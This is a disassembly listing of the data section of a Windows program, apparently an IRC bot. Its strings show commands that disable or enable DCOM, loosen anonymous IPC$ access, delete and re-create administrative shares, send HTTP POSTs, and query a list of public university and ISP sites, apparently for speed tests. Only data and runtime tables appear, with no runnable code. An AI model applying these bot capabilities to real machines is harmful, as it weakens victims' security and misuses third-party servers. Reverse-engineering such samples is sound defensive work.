aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_41AD5D+54o
		align 10h
dword_450F60	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41AD5D+66o
aDisableDcomFai	db '- Disable DCOM failed.',0
		align 4
; char asc_450F84[]
asc_450F84	db '-'                  ; DATA XREF: sub_41AD5D:loc_41ADCAo
		db 3, 34h, 2
		dd 75636573h, 3026572h,	4344202Dh, 64204D4Fh, 62617369h
		dd 2E64656Ch, 0
; char asc_450FA4[]
asc_450FA4	db '-'                  ; DATA XREF: sub_41AD5D+91o
		db 3, 34h, 2
		dd 75636573h, 3026572h
aFailedToOpenDc	db '- Failed to open DCOM registry key.',0
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_41AD5D+EDo
		align 4
dword_450FE8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41AD5D+106o
aFailedToRestri	db '- Failed to restrict access to the IPC$ Share.',0
		align 4
; char asc_451024[]
asc_451024	db '-'                  ; DATA XREF: sub_41AD5D:loc_41AE6Ao
		db 3, 34h, 2
		dd 75636573h, 3026572h
aRestrictedAcce	db '- Restricted access to the IPC$ Share.',0
		align 4
dword_451058	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41AD5D:loc_41AE88o
aFailedToOpenIp	db '- Failed to open IPC$ Restriction registry key.',0
; char asc_451094[]
asc_451094	db '-'                  ; DATA XREF: sub_41AD5D:loc_41AE8Fo
		db 3, 34h, 2
		dd 75636573h, 3026572h
aAdvapi32_dllCo	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_4510C4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41AD5D+25Bo
aShareSDeleted_	db '- Share ',27h,'%S',27h,' deleted.',0
		align 4
; char asc_4510E8[]
asc_4510E8	db '-'                  ; DATA XREF: sub_41AD5D:loc_41AFBFo
		db 3, 34h, 2
		dd 75636573h, 3026572h
aFailedToDelete	db '- Failed to delete ',27h,'%S',27h,' share.',0
		align 4
dword_451114	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41AD5D+1C8o
aShareSDelete_0	db '- Share ',27h,'%s',27h,' deleted.',0
		align 4
; char asc_451138[]
asc_451138	db '-'                  ; DATA XREF: sub_41AD5D:loc_41AF2Co
		db 3, 34h, 2
		dd 75636573h, 3026572h
aFailedToDele_0	db '- Failed to delete ',27h,'%s',27h,' share.',0
		align 4
; char asc_451164[]
asc_451164	db '-'                  ; DATA XREF: sub_41AD5D+2CFo
		db 3, 34h, 2
		dd 75636573h, 3026572h
aNetworkSharesD	db '- Network shares deleted.',0
		align 4
; char asc_45118C[]
asc_45118C	db '-'                  ; DATA XREF: sub_41AD5D+2E5o
		db 3, 34h, 2
		dd 75636573h, 3026572h
aNetapi32_dllCo	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 4
word_4511BC	dw 59h			; DATA XREF: sub_41B081+38r
		align 10h
aEnabledcom_0	db 'EnableDCOM',0       ; DATA XREF: sub_41B081+54o
		align 4
dword_4511CC	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41B081+66o
aEnableDcomFail	db '- Enable DCOM failed.',0
		align 10h
; char asc_4511F0[]
asc_4511F0	db '-'                  ; DATA XREF: sub_41B081:loc_41B0EEo
		db 3, 34h, 2
		dd 75636573h, 3026572h,	4344202Dh, 65204D4Fh, 6C62616Eh
		dd 2E6465h
; char asc_45120C[]
asc_45120C	db '-'                  ; DATA XREF: sub_41B081+91o
		db 3, 34h, 2
		dd 75636573h, 3026572h
aFailedToOpen_1	db '- Failed to open DCOM registry key.',0
aRestrictanon_0	db 'restrictanonymous',0 ; DATA XREF: sub_41B081+EDo
		align 10h
dword_451250	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41B081+102o
aFailedToUnrest	db '- Failed to unrestrict access to the IPC$ Share.',0
		align 10h
; char asc_451290[]
asc_451290	db '-'                  ; DATA XREF: sub_41B081:loc_41B18Ao
		db 3, 34h, 2
		dd 75636573h, 3026572h
aUnrestrictedAc	db '- Unrestricted access to the IPC$ Share.',0
		align 4
dword_4512C8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41B081:loc_41B1A8o
aFailedToOpen_2	db '- Failed to open IPC$ restriction registry key.',0
; char asc_451304[]
asc_451304	db '-'                  ; DATA XREF: sub_41B081:loc_41B1AFo
		db 3, 34h, 2
		dd 75636573h, 3026572h
aAdvapi32_dll_0	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_451334	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41B081+192o
aShareSAdded_	db '- Share ',27h,'%s',27h,' added.',0
; char asc_451354[]
asc_451354	db '-'                  ; DATA XREF: sub_41B081:loc_41B21Ao
		db 3, 34h, 2
		dd 75636573h, 3026572h
aFailedToAddSSh	db '- Failed to add ',27h,'%s',27h,' share.',0
; char aC_1[]
aC_1		db '%c$',0              ; DATA XREF: sub_41B081+216o
; char aC_0[]
aC_0		db '%c:\',0             ; DATA XREF: sub_41B081+22Do
		align 4
dword_451388	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41B081+266o
aShareSAdded__0	db '- Share ',27h,'%s',27h,' added.',0
; char asc_4513A8[]
asc_4513A8	db '-'                  ; DATA XREF: sub_41B081:loc_41B2EEo
		db 3, 34h, 2
		dd 75636573h, 3026572h
aFailedToAddS_0	db '- Failed to add ',27h,'%s',27h,' share.',0
; char asc_4513D0[]
asc_4513D0	db '-'                  ; DATA XREF: sub_41B081+2C3o
		db 3, 34h, 2
		dd 75636573h, 3026572h
aNetworkSharesA	db '- Network shares added.',0
; char asc_4513F4[]
asc_4513F4	db '-'                  ; DATA XREF: sub_41B081+2DBo
		db 3, 34h, 2
		dd 75636573h, 3026572h
aNetapi32_dll_1	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 4
; char aPostHttp1_0Hos[]
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41B3B5+E1o
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
; char asc_451458[]
asc_451458	db 0Dh,0Ah,0		; DATA XREF: sub_41B3B5+F5o
		align 4
aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: sub_41B592+15o
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: sub_41B592+1Co
		align 4
aVerio_fr	db 'verio.fr',0         ; DATA XREF: sub_41B592+23o
		align 4
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: sub_41B592+2Ao
		align 4
aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: sub_41B592+31o
		align 4
aWww_belwue_de	db 'www.belwue.de',0    ; DATA XREF: sub_41B592+38o
		align 4
aDe_yahoo_com	db 'de.yahoo.com',0     ; DATA XREF: sub_41B592+3Fo
		align 4
aWww_google_it	db 'www.google.it',0    ; DATA XREF: sub_41B592+46o
		align 4
aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: sub_41B592+4Do
		align 4
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: sub_41B592+54o
		align 4
aWww_verio_com	db 'www.verio.com',0    ; DATA XREF: sub_41B592+5Bo
		align 4
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: sub_41B592+62o
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: sub_41B592+69o
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: sub_41B592+70o
		align 4
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: sub_41B592+77o
		align 4
aNitro_ucsc_edu	db 'nitro.ucsc.edu',0   ; DATA XREF: sub_41B592+7Eo
		align 4
aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: sub_41B592+85o
		align 4
aWww_above_net	db 'www.above.net',0    ; DATA XREF: sub_41B592+8Co
		align 4
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: sub_41B592+93o
		align 4
aWww_google_com	db 'www.google.com',0   ; DATA XREF: sub_41B592+9Ao
		align 4
aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41B592+A1o
aWww_st_lib_kei	db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41B592+A8o
		align 4
aWww_d1asia_com	db 'www.d1asia.com',0   ; DATA XREF: sub_41B592+AFo
		align 4
aWww_nifty_com	db 'www.nifty.com',0    ; DATA XREF: sub_41B592+B6o
		align 4
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: sub_41B592+BDo
aWww_google_co_	db 'www.google.co.jp',0 ; DATA XREF: sub_41B592+C4o
		align 4
; char asc_451608[]
asc_451608	db '-'                  ; DATA XREF: sub_41B592+1A7o
		db 3, 34h, 2
		dd 65657073h, 73657464h, 2D030274h, 75450220h, 65706F72h
		dd 25203A02h, 626B2064h, 732F7469h, 53550220h, 203A0241h
		dd 6B206425h, 2F746962h, 41022073h, 2616973h, 6425203Ah
		dd 69626B20h, 20732F74h, 65764102h, 65676172h, 25203A02h
		dd 626B2064h, 732F7469h, 0
; char aDdDhDm[]
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_41B76F+52o
a95_0		db '95',0               ; DATA XREF: sub_41B92C+46o
		align 4
aNt_0		db 'NT',0               ; DATA XREF: sub_41B92C+5Ao
		align 4
a98_0		db '98',0               ; DATA XREF: sub_41B92C+6Co
		align 10h
aMe_1		db 'ME',0               ; DATA XREF: sub_41B92C+7Eo
		align 4
a2k_0		db '2K',0               ; DATA XREF: sub_41B92C+98o
		align 4
aXp_0		db 'XP',0               ; DATA XREF: sub_41B92C+AAo
		align 4
a2003		db '2003',0             ; DATA XREF: sub_41B92C+BAo
		align 4
a???_0		db '???',0              ; DATA XREF: sub_41B92C:loc_41B9EFo
; char aSS_12[]
aSS_12		db '%s (%s)',0          ; DATA XREF: sub_41B92C+EBo
word_4516A0	dw 3Fh			; DATA XREF: sub_41B92C:loc_41BA2Er
		align 4
; char aCouldnTResolve[]
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41B92C:loc_41BA90o
		align 4
aDdMmmYyyy	db 'dd:MMM:yyyy',0      ; DATA XREF: sub_41B92C+192o
aHhMmSs_0	db 'HH:mm:ss',0         ; DATA XREF: sub_41B92C+1AEo
		align 4
; char asc_4516D4[]
asc_4516D4	db '-'                  ; DATA XREF: sub_41B92C+297o
		db 3, 34h, 2
		dd 69737973h, 26F666Eh,	2202D03h, 2555043h, 4925203Ah
		dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
		dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
		dd 26B7369h, 7325203Ah,	746F7420h, 202C6C61h, 66207325h
		dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
		dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
		dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
		dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
		dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
		dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
		dd 74705502h, 2656D69h,	7325203Ah, 2Eh
; char aNotConnected[]
aNotConnected	db 'Not connected',0    ; DATA XREF: sub_41BBE0+48o
		align 10h
aDialUp		db 'Dial-up',0          ; DATA XREF: sub_41BBE0+5Bo
off_4517C8	dd offset dword_4E414C	; DATA XREF: sub_41BBE0:loc_41BC42o
; char aNA[]
aNA		db 'N/A',0              ; DATA XREF: sub_41BBE0+6Fo
; char aNA_0[]
aNA_0		db 'N/A',0              ; DATA XREF: sub_41BBE0+82o
; char asc_4517D4[]
asc_4517D4	db '-'                  ; DATA XREF: sub_41BBE0+A7o
		db 3, 34h, 2
		dd 6974656Eh, 26F666Eh,	2202D03h, 65707954h, 25203A02h
		dd 25282073h, 202E2973h, 20504902h, 72646441h, 2737365h
		dd 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h, 7325203Ah
		dd 2Eh
dword_451818	dd 2A2F2Ah		; DATA XREF: sub_41BCA5+3Bo
; char asc_45181C[]
asc_45181C	db '-'                  ; DATA XREF: sub_41BCA5+1A0o
		db 3, 34h, 2
		dd 69736976h, 2D030274h, 766E4920h, 64696C61h, 4C525520h
		dd 2Eh
unk_451838	db  2Dh	; -		; DATA XREF: sub_41BCA5:loc_41BE57o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aCouldNotOpenAC	db ' Could not open a connection.',0
		align 4
; char asc_451864[]
asc_451864	db '-'                  ; DATA XREF: sub_41BCA5:loc_41BE5Eo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToConnec	db ' Failed to connect to HTTP server.',0
		align 4
dword_451894	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 73697620h
					; DATA XREF: sub_41BCA5+18Co
		dd 64657469h, 2Eh
unk_4518B0	db  2Dh	; -		; DATA XREF: sub_41BCA5:loc_41BE38o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToGetReq	db ' Failed to get requested URL from HTTP server.',0
		align 10h
dword_4518F0	dd 1			; DATA XREF: __heap_alloc_dbg+10r
					; __heap_alloc_dbg+F2r	...
dword_4518F4	dd 25h			; DATA XREF: __heap_alloc_dbg:loc_41C22Cr
					; __heap_alloc_dbg:loc_41C395r	...
dword_4518F8	dd 0FFFFFFFFh		; DATA XREF: __heap_alloc_dbg+58r
					; _realloc_help+9Er ...
byte_4518FC	db 0FDh			; DATA XREF: __heap_alloc_dbg+2B7r
					; __heap_alloc_dbg+2D1r ...
byte_4518FD	db 0DDh			; DATA XREF: sub_41CCE0+257r
					; sub_41CCE0+39Br ...
byte_4518FE	db 0CDh			; DATA XREF: __heap_alloc_dbg+2F1r
					; _realloc_help+377r
		align 10h
; char off_451900[]
off_451900	dd offset aFree		; DATA XREF: sub_41CCE0+177r
					; sub_41CCE0+1DDr ...
					; "Free"
		dd offset aNormal_0	; "Normal"
		dd offset aCrt		; "CRT"
		dd offset aIgnore	; "Ignore"
		dd offset aClient	; "Client"
		align 10h
dword_451920	dd 173Fh		; DATA XREF: _floor+Br
		dd 9875h, 9873h
off_45192C	dd offset __fpmath	; DATA XREF: __cinit+3r __cinit+Cr
		dd offset __initp_misc_winxfltr
		dd offset __initp_misc_winxfltr
dword_451938	dd 1B3Fh		; DATA XREF: _ceil+Br
dword_45193C	dd 19930520h, 4	dup(0)	; DATA XREF: __NLG_Notify1+2o
					; __NLG_Notify+2o
off_451950	dd offset __exit	; DATA XREF: __amsg_exit+22r
dword_451954	dd 2			; DATA XREF: __FF_MSGBANNER+15r
					; __NMSG_WRITE+86r ...
off_451958	dd offset dword_4F3C20	; DATA XREF: ___initstdio+B3o
					; __lock_file+3o ...
		align 10h
		dd offset dword_4F3C20
		dd 101h
dword_451968	dd 0FFFFFFFFh		; DATA XREF: ___initstdio+11Cw
		dd 0
		dd 1000h, 0
dword_451978	dd 3 dup(0)		; DATA XREF: __flsbuf+111o
					; __stbuf:loc_429F43o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_451998	dd 3 dup(0)		; DATA XREF: __flsbuf+11Ao
					; __stbuf:loc_429F55o
		dd 2, 0FFFFFFFFh, 83h dup(0)
dword_451BB8	dd 8 dup(0)		; DATA XREF: __lock_file+Co
					; __unlock_file+Co
dword_451BD8	dd 0FFFFFFFFh		; DATA XREF: __CrtDbgReport+80o
					; __CrtDbgReport+108o ...
dword_451BDC	dd 2			; DATA XREF: __CrtSetReportMode+1Er
					; __CrtSetReportMode+39r ...
		dd 2 dup(4)
dword_451BE8	dd 0FFFFFFFFh		; DATA XREF: __CrtSetReportFile+20r
					; __CrtSetReportFile+2Cr ...
		dd 2 dup(0FFFFFFFFh)
off_451BF4	dd offset aWarning	; DATA XREF: _CrtMessageWindow+284r
					; "Warning"
		dd offset aError	; "Error"
		dd offset aAssertionFai_1 ; "Assertion Failed"
dword_451C00	dd 0			; DATA XREF: __mtdeletelocks+1Fr
					; __mtdeletelocks+44r ...
off_451C04	dd offset dword_4F3590	; DATA XREF: __mtinitlocks+29r
					; __mtdeletelocks+8Fr
		dd 7 dup(0)
off_451C24	dd offset dword_4F35C0	; DATA XREF: __mtinitlocks+1Cr
					; __mtdeletelocks:loc_4234A9r
		dd 3 dup(0)
off_451C34	dd offset dword_4F35D8	; DATA XREF: __mtinitlocks+Fr
					; __mtdeletelocks+75r
		dd 3 dup(0)
off_451C44	dd offset dword_4F35A8	; DATA XREF: __mtinitlocks+3r
					; __mtdeletelocks+82r
		dd 7 dup(0)
		dd 9427F8h, 16h	dup(0)
off_451CC0	dd offset unknown_libname_5 ; DATA XREF: __heap_alloc_dbg+79r
					; _realloc_help+C1r ...
					; Microsoft VisualC 2-8/net runtime
		align 8
off_451CC8	dd offset off_451CC8	; DATA XREF: ___sbh_new_region+Fo
					; ___sbh_new_region+7Ao ...
off_451CCC	dd offset off_451CC8	; DATA XREF: ___sbh_new_region:loc_426046r
					; ___sbh_new_region+9Fw ...
		dd offset dword_451CE0
		dd offset dword_451CE0
dword_451CD8	dd 0FFFFFFFFh		; DATA XREF: ___sbh_new_region+6r
					; ___sbh_release_region:loc_4261F7w
		dd 0FFFFFFFFh
dword_451CE0	dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF:	.data:00451CD0o
					; .data:00451CD4o
off_453CE8	dd offset off_451CC8	; DATA XREF: ___sbh_release_region+17r
					; ___sbh_release_region+28w ...
dword_453CEC	dd 1E0h			; DATA XREF: __heap_alloc_base+AEr
					; sub_423880+146r ...
		dd 10h
off_453CF4	dd offset __wctype+2	; DATA XREF: __printMemBlockData+7Cr
					; _atol+2Dr ...
off_453CF8	dd offset __wctype+2	; DATA XREF: unknown_libname_28+2A4w
					; unknown_libname_28+35Bw ...
		public __wctype
; const	unsigned __int16 _wctype[]
__wctype	dd    200000h		; DATA XREF: unknown_libname_28:loc_435031o
					; unknown_libname_28+35Bo ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
; size_t SrcSizeInBytes
SrcSizeInBytes	dd 1			; DATA XREF: __printMemBlockData+4Er
					; _atol:loc_41E876r ...
byte_453F04	db 2Eh			; DATA XREF: unknown_libname_11:loc_42AF77r
					; unknown_libname_11+ED2r ...
		align 4
dword_453F08	dd 1			; DATA XREF: ___init_numeric+169w
					; ___init_numeric+296w
off_453F0C	dd offset aNull		; DATA XREF: unknown_libname_7:loc_428602r
					; unknown_libname_7+57Cr
					; "(null)"
off_453F10	dd offset aNull_0	; DATA XREF: unknown_libname_7+514r
					; "(null)"
dword_453F14	dd 2			; DATA XREF: __mtinit+Fw __mtinit+14r	...
byte_453F18	db 1			; DATA XREF: __setmbcp+12Fr
		db 2, 4, 8
		align 10h
dword_453F20	dd 3A4h			; DATA XREF: __setmbcp+7Er
word_453F24	dw 8260h		; DATA XREF: __setmbcp+192r
		dw 8279h
		dd 21h,	0
dword_453F30	dd 0DFA6h		; DATA XREF: __setmbcp+D5r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_454010	dd 1			; DATA XREF: __dosmaperr+2Cr
dword_454014	dd 16h			; DATA XREF: __dosmaperr+3Dr
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
asc_454178	db ' ',9,'-',0Dh,']',0  ; DATA XREF: unknown_libname_11:loc_42A512o
		align 10h
asc_454180:				; DATA XREF: unknown_libname_11:loc_42A4EDo
		unicode	0, <]>,0
		align 8
dword_454188	dd 14h			; DATA XREF: __get_fname+1Fr
off_45418C	dd offset aExp		; DATA XREF: __get_fname+2Er
					; "exp"
		dd 1Dh
		dd offset aPow		; "pow"
		dd 1Ah
		dd offset aLog_0	; "log"
		dd 1Bh
		dd offset aLog10	; "log10"
		dd 1Fh
		dd offset aSinh		; "sinh"
		dd 13h
		dd offset aCosh		; "cosh"
		dd 21h
		dd offset aTanh		; "tanh"
		dd 0Eh
		dd offset aAsin		; "asin"
		dd 0Dh
		dd offset aAcos		; "acos"
		dd 0Fh
		dd offset aAtan		; "atan"
		dd 10h
		dd offset aAtan2	; "atan2"
		dd 5
		dd offset aSqrt		; "sqrt"
		dd 1Eh
		dd offset aSin		; "sin"
		dd 12h
		dd offset aCos		; "cos"
		dd 20h
		dd offset aTan		; "tan"
		dd 0Ch
		dd offset aCeil		; "ceil"
		dd 0Bh
		dd offset aFloor	; "floor"
		dd 15h
		dd offset aFabs		; "fabs"
		dd 1Ch
		dd offset aModf		; "modf"
		dd 19h
		dd offset aLdexp	; "ldexp"
		dd 11h
		dd offset a_cabs	; "_cabs"
		dd 18h
		dd offset a_hypot	; "_hypot"
		dd 16h
		dd offset aFmod		; "fmod"
		dd 17h
		dd offset aFrexp	; "frexp"
		dd 22h
		dd offset a_y0		; "_y0"
		dd 23h
		dd offset a_y1		; "_y1"
		dd 24h
		dd offset a_yn		; "_yn"
dbl_454260	dq 1.797693134862316e308 ; DATA	XREF: __handle_exc+E4r
					; __handle_exc:loc_42BE37r ...
		dd 0
		dd 0FFF80000h
dbl_454270	dq 1.797693134862316e308 ; DATA	XREF: __handle_exc:loc_42BE7Ar
					; __handle_exc+167r ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_454288	dt 2.3562723457267347066e313 ; DATA XREF: __set_statfp+13r
					; __set_statfp+2Ar
		align 4
tbyte_454294	dt 1.9149954921904370718e-1233 ; DATA XREF: __set_statfp+41r
		align 10h
off_4542A0	dd offset __cfltcvt	; DATA XREF: __cfltcvt_init+3w
					; unknown_libname_7+6ADr
off_4542A4	dd offset __cropzeros	; DATA XREF: __cfltcvt_init+Dw
					; unknown_libname_7+6F1r
off_4542A8	dd offset __fassign	; DATA XREF: __cfltcvt_init+17w
					; unknown_libname_11+1138r
off_4542AC	dd offset __forcdecpt	; DATA XREF: __cfltcvt_init+21w
					; unknown_libname_7+6CFr
off_4542B0	dd offset __positive	; DATA XREF: __cfltcvt_init+2Bw
off_4542B4	dd offset __cfltcvt	; DATA XREF: __cfltcvt_init+35w
		dd offset ?__CxxUnhandledExceptionFilter@@YGJPAU_EXCEPTION_POINTERS@@@Z	; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *)
		align 10h
off_4542C0	dd offset ?terminate@@YAXXZ ; DATA XREF: sub_42DB70+2Dr
					; sub_42DB70+3Dr
					; terminate(void)
dword_4542C4	dd 43h			; DATA XREF: __setlocale_set_cat:loc_42E24Co
					; .data:004543E0o ...
; char aC_2[]
aC_2		db 'C',0                ; DATA XREF: __expandlocale+8Do
					; __expandlocale+117o ...
		align 4
		dd 20h dup(0)
; char aC_3[]
aC_3		db 'C',0                ; DATA XREF: __expandlocale+74o
					; __expandlocale+FCo ...
		align 10h
		dd 20h dup(0)
off_4543D0	dd offset aLc_all	; DATA XREF: _setlocale+17Fr
					; _setlocale+198r ...
					; "LC_ALL"
; char *dword_4543D4
dword_4543D4	dd 0			; DATA XREF: _setlocale+77r
					; _setlocale+320r ...
off_4543D8	dd offset sub_42E510	; DATA XREF: __setlocale_set_cat+12Br
		dd offset aLc_collate	; "LC_COLLATE"
		dd offset dword_4542C4
		dd offset sub_435080
		dd offset aLc_ctype	; "LC_CTYPE"
off_4543EC	dd offset dword_4542C4	; DATA XREF: __setlocale_get_all+F0r
		dd offset unknown_libname_28 ; Microsoft VisualC 2-8/net runtime
		dd offset aLc_monetary	; "LC_MONETARY"
		dd offset dword_4542C4
		dd offset ___init_monetary
		dd offset aLc_numeric	; "LC_NUMERIC"
		dd offset dword_4542C4
		dd offset ___init_numeric
		dd offset aLc_time	; "LC_TIME"
		dd offset dword_4542C4
		dd offset ___init_time
dword_454418	dd 0C0000005h, 0Bh, 0	; DATA XREF: __initptd+6o
					; __freeptd+CEo ...
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		dd 0C000008Dh, 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		dd 0C0000090h, 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_454490	dd 3			; DATA XREF: __XcptFilter+98r
					; __XcptFilter:loc_42F2BBr ...
dword_454494	dd 7			; DATA XREF: __XcptFilter+B1r
					; _raise+17Dr
dword_454498	dd 78h			; DATA XREF: .text:004308B8r
					; .text:004308D6r
dword_45449C	dd 0Ah			; DATA XREF: _xcptlookup+1Dr
					; _xcptlookup:loc_42F402r ...
dword_4544A0	dd 0FFFFFFFFh, 0A00h, 8	dup(0) ; DATA XREF: __filbuf:loc_4274B6o
					; __flsbuf:loc_428139o
dword_4544C8	dd 2			; DATA XREF: __NMSG_WRITE+2Ar
					; __NMSG_WRITE+3Dr ...
; char *off_4544CC
off_4544CC	dd offset aR6002FloatingP ; DATA XREF: __NMSG_WRITE+56r
					; __NMSG_WRITE+98r ...
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8
		dd offset aR6008NotEnough ; "R6008\r\n-	not enough space for arguments"...
		dd 9
		dd offset aR6009NotEnough ; "R6009\r\n-	not enough space for environme"...
		dd 0Ah
		dd offset aAbnormalProgra ; "\r\nabnormal program termination\r\n"
		dd 10h
		dd offset aR6016NotEnough ; "R6016\r\n-	not enough space for thread da"...
		dd 11h
		dd offset aR6017Unexpecte ; "R6017\r\n-	unexpected multithread lock er"...
		dd 12h
		dd offset aR6018Unexpecte ; "R6018\r\n-	unexpected heap	error\r\n"
		dd 13h
		dd offset aR6019UnableToO ; "R6019\r\n-	unable to open console device\r"...
		dd 18h
		dd offset aR6024NotEnough ; "R6024\r\n-	not enough space for _onexit/a"...
		dd 19h
		dd offset aR6025PureVirtu ; "R6025\r\n-	pure virtual function call\r\n"
		dd 1Ah
		dd offset aR6026NotEnough ; "R6026\r\n-	not enough space for stdio ini"...
		dd 1Bh
		dd offset aR6027NotEnough ; "R6027\r\n-	not enough space for lowio ini"...
		dd 1Ch
		dd offset aR6028UnableToI ; "R6028\r\n-	unable to initialize heap\r\n"
		dd 78h
		dd offset aDomainError	; "DOMAIN error\r\n"
		dd 79h
		dd offset aSingError	; "SING	error\r\n"
		dd 7Ah
		dd offset aTlossError	; "TLOSS error\r\n"
		dd 0FCh
		dd offset asc_43D46C	; "\r\n"
		dd 0FFh
		dd offset aRuntimeError	; "runtime error "
		align 10h
dword_454560	dd 2694h		; DATA XREF: __handle_qnan1+3r
					; __handle_qnan2+Fr ...
		align 8
dword_454568	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_432C80+3o
dword_454580	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_432CA0+3o
dword_454598	dd 7080h		; DATA XREF: ___loctotime_t+92r
					; __tzset_lk+80w ...
dword_45459C	dd 1			; DATA XREF: ___loctotime_t+C2r
					; __tzset_lk+BFw ...
dword_4545A0	dd 0FFFFF1F0h		; DATA XREF: ___loctotime_t+DEr
					; __tzset_lk+D7w ...
dword_4545A4	dd 545350h, 0Fh	dup(0)	; DATA XREF: .data:off_454624o
dword_4545E4	dd 544450h, 0Fh	dup(0)	; DATA XREF: .data:off_454628o
; char *off_454624
off_454624	dd offset dword_4545A4	; DATA XREF: __tzset_lk+FAr
					; __tzset_lk+123r ...
; char *off_454628
off_454628	dd offset dword_4545E4	; DATA XREF: __tzset_lk+140r
					; __tzset_lk+16Ar ...
		align 10h
dword_454630	dd 0FFFFFFFFh		; DATA XREF: __tzset_lk+30w
					; sub_4336D0+1Ar ...
dword_454634	dd 0			; DATA XREF: sub_4336D0:loc_4338CBr
					; sub_4336D0+20Fr ...
dword_454638	dd 0			; DATA XREF: sub_4336D0+2CFr
					; _cvtdate+13Dw
		align 10h
dword_454640	dd 0FFFFFFFFh		; DATA XREF: __tzset_lk+21w
					; __tzset_lk+2Br ...
